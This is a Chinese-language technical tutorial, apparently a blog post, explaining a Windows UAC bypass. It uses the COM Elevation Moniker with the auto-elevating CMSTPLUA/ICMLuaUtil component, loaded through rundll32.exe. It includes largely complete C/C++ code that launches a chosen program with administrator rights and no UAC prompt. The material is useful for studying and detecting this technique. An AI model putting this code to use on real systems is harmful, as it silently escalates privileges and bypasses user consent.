目录
一、引言
二、使用 COM 提升名称方法绕过 UAC
2.1 什么样的 COM 组件支持自动提权
2.2 如何以提升名称方法创建 COM 组件对象
2.3 有了权限提升的 COM 组件对象后,怎么为我们所用呢
2.4 使用 rundll32.exe 执行 COM 提升名称代码
2.4.1 rundll32.exe 简介
2.4.2 使用 rundll32.exe 执行 COM 提升名称代码
2.5 原理总结
三、总结
参考文档
本文中代码仓库地址:
https://gitee.com/langshanglibie/BypassUAC
一、引言
Windows 系统从 Vista 版本开始引入了一种名为 UAC(User Account Control,用户帐户控制)的提高系统安全的核心机制。
在 UAC 机制下,程序在申请管理员权限时,系统会弹出 UAC 提示窗口让用户确认,以达到阻止恶意程序损坏系统的效果。
如果是没有数字签名的程序,提示窗口顶部呈现醒目的黄色。
系统提供了一些让程序可以获取管理员权限的方法,但是都会弹出 UAC 提示窗口让用户确认。
那么,有办法绕过 UAC、不弹出提示窗口而获取管理员权限吗?有,本文介绍的“COM 提升名称”就是这样的一种方法。
二、使用 COM 提升名称方法绕过 UAC
通过 COM 提升名称(The COM Elevation Moniker)方法,程序可以以管理员权限创建 COM 组件对象,而不会弹出 UAC 提示窗口。
COM 提升名称方法需要 COM 组件和及其使用者的共同配合:
- COM 组件支持自动提权。
- COM 组件使用者必须以提升名称方式创建 COM 组件对象。
2.1 什么样的 COM 组件支持自动提权
如果要支持自动提权,COM 组件需要在注册表中进行一些配置。
需在注册表中进行的配置 | 注册表位置 |
1. 配置 displayName | HKEY_LOCAL_MACHINE\Software\Classes\CLSID {CLSID} LocalizedString = displayName 例如: HKEY_CLASSES_ROOT\CLSID\{3E5FC7F9-9A51-4367-9063-A120244FBEC7} |
2. 配置可以提权 | HKEY_LOCAL_MACHINE\Software\Classes\CLSID {CLSID} Elevation Enabled = 1 例如: HKEY_CLASSES_ROOT\CLSID\{3E5FC7F9-9A51-4367-9063-A120244FBEC7}\Elevation |
3. 配置可以自动提权 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList |
2.2 如何以提升名称方法创建 COM 组件对象
下面的代码来自微软官网文档,展示了如何以提升名称方法创建权限提升的 COM 组件对象,该对象被创建完成后便拥有管理员权限。
HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[50];
WCHAR wszMonikerName[300];
StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID) / sizeof(wszCLSID[0]));
HRESULT hr = StringCchPrintf(wszMonikerName,
sizeof(wszMonikerName) / sizeof(wszMonikerName[0]),
L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
return hr;
memset(&bo, 0, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hwnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMonikerName, &bo, riid, ppv);
}
关键语法:
Elevation:Administrator!new:{guid}
new 关键字表示创建一个 COM 组件的实例,guid 即 COM 组件的 CLSID,Administrator 表示以管理员权限创建之。
2.3 有了权限提升的 COM 组件对象后,怎么为我们所用呢
要想为我们所用,需要 COM 组件中含有执行命令的方法。系统中的 COM 组件 cmstplua.dll 正好满足这样的条件,且支持自动提权。
其实现的接口 ICMLuaUtil 中含有 ShellExec 方法。看上去是不是似曾相识?
HRESULT(STDMETHODCALLTYPE *ShellExec)(ICMLuaUtil* This,
LPCWSTR lpFile,
LPCTSTR lpParameters,
LPCTSTR lpDirectory,
ULONG fMask,
ULONG nShowCmd
);
对,这个方法和系统函数 ShellExecute 一样可以用来创建进程,函数签名也几乎一致。多么合乎心意的方法!
目前为止,看上去万事俱备了,只欠把代码写出来了。
于是,创建了个测试程序,一顿敲击之后,主要代码如下:
bool CMLuaUtilBypassUAC(LPCTSTR szExePath)
{
// 为简化代码篇幅,省略了错误处理逻辑
CLSID clsidICMLuaUtil = {0};
IID iidICMLuaUtil = {0};
::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
// 以提升名称方式创建 COM 组件对象,获取其 IID_ICMLuaUtil 接口
ICMLuaUtil *pCMLuaUtil = nullptr;
CoCreateInstanceAsAdmin(nullptr, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&pCMLuaUtil));
// 启动目标程序
pCMLuaUtil->lpVtbl->ShellExec(pCMLuaUtil, szExePath, nullptr, nullptr, 0, SW_SHOW);
pCMLuaUtil->lpVtbl->Release(pCMLuaUtil);
}
......
......
// 调用上面函数,欲绕过 UAC 以管理员权限创建目标进程
CMLuaUtilBypassUAC(L"C:\\Test.exe");
OK,按下 F5,运行!
What? 系统 UAC 弹窗还是蹦了出来。
Why?
这是因为如果执行 COM 提升名称代码的程序的身份是不可信的,还是会触发 UAC 弹窗。只有是系统可信程序,才不会触发 UAC 弹窗。
因此,必须使这段代码在系统可信程序中运行。常用的系统可信程序有记事本、计算器、资源管理器等。
我们可以通过代码注入技术,将这段代码注入到这些程序的进程空间中执行。但是,最简单的莫过于直接通过系统中的 rundll32.exe 程序来加载我们的 DLL,来执行这段代码。
2.4 使用 rundll32.exe 执行 COM 提升名称代码
2.4.1 rundll32.exe 简介
rundll32.exe 是 Windows 中的一个系统程序,顾名思义,就是用来执行 DLL 文件的(实质是执行 DLL 的导出函数)。
rundll32.exe 语法:
rundll32.exe DllName,EntryPoint [Arguments]
DllName 和 EntryPoint 之间用空格或逗号分割。参数含义:
DllName | EntryPoint | Arguments |
需要执行的 DLL文件名或全路径 | 要调用的 DLL 中的导出函数 | 函数参数(可选) |
EntryPoint 函数必须兼容以下函数签名,才能成功被 rundll32.exe 调用。
void CALLBACK EntryPoint(
HWND hWnd,
HINSTANCE hInstance,
LPCTSTR lpszCmdLine,
int nCmdShow
);
各参数含义如下:
hWnd | rundll32.exe 内部创建的名为“RunDLL”的窗口的句柄。 |
hInstance | rundll32.exe 进程的句柄。 |
lpszCmdLine | 我们传递的 Arguments 字符串。 |
nCmdShow | 固定为 10,即系统常量 SW_SHOWDEFAULT。 |
rundll32.exe 使用示例:
- rundll32.exe shell32.dll,Control_RunDLL (调用控制面板)
- rundll32.exe shell32.dll,Control_RunDLL timedate.cpl (调用控制面板中的日期和时间功能)
- rundll32.exe user32.dll,LockWorkStation (锁屏)
2.4.2 使用 rundll32.exe 执行 COM 提升名称代码
要想调用 rundll32.exe,必须将之前的代码封装成一个 DLL,导出一个创建进程的函数给 rundll32.exe 调用。
// 导出函数,给 rundll32.exe 调用。末尾的 W 表示宽字符版本。
void CALLBACK BypassUACW(HWND hWnd, HINSTANCE hInstance, LPCTSTR lpszCmdLine, int nCmdShow)
{
CMLuaUtilBypassUAC(lpszCmdLine);
}
然后在之前的测试程序中,通过 rundll32.exe 来调用 BypassUACW 函数。
void Rundll32BypassUAC(LPCTSTR szExePath)
{
static LPCTSTR szRundll32Path = _T("C:\\Windows\\SysWOW64\\rundll32.exe");
const std::wstring& dllPath = GetCurrentProcessDirPath() + _T("BypassUAC.dll");
// 组织参数传递给 rundll32.exe
TCHAR szCmdLine[MAX_PATH] = {0};
::StringCchPrintf(szCmdLine, _countof(szCmdLine), _T("%s \"%s\" %s %s"),
szRundll32Path,
dllPath.c_str(),
_T("BypassUAC"),
szExePath);
// 启动 rundll32.exe
STARTUPINFO si;
PROCESS_INFORMATION pi;
::ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
::ZeroMemory(&pi, sizeof(pi));
if (::CreateProcess(nullptr, szCmdLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi))
{
::CloseHandle(pi.hProcess);
::CloseHandle(pi.hThread);
}
}
......
......
// 调用上面函数,绕过 UAC 以管理员权限创建目标进程
Rundll32BypassUAC(L"C:\\Test.exe");
按下 F5,运行!这次,系统 UAC 提示窗口没再弹出来了,我们成功地绕过了 UAC 而获取到了管理员权限。
2.5 原理总结
COM 提升名称方法允许运行在 UAC 下的应用程序,创建权限提升的 COM 组件对象。
同时,系统中的 cmstplua.dll 组件实现的 ICMLuaUtil 接口正好提供了 ShellExec 方法,可以用来创建进程。
因此,我们可以利用 COM 提升名称方法来创建 cmstplua.dll 组件,之后通过其实现的接口 ICMLuaUtil 中的 ShellExec 方法来创建我们的目标进程,如此达到绕过 UAC 而获取到管理员权限的目的。
整个过程如下图所示。
三、总结
通过本文我们可以知道,Windows 系统安全机制并非固若金汤。通过 COM 提升名称方法,程序可以绕过其核心安全机制 UAC 而获取到系统管理员权限。
但需要提醒的是,本文中我们使用的 COM 组件 cmstplua.dll 及其接口 ICMLuaUtil 都是 Undocumented 的,在微软官网文档中查不到任何说明和参考,存在将来被微软修改的可能,所以建议尽量使用系统提供的常规方式获取管理员权限。
参考文档
User Account Control (Windows) | Microsoft Learn
The COM Elevation Moniker - Win32 apps | Microsoft Learn
rundll32 | Microsoft Learn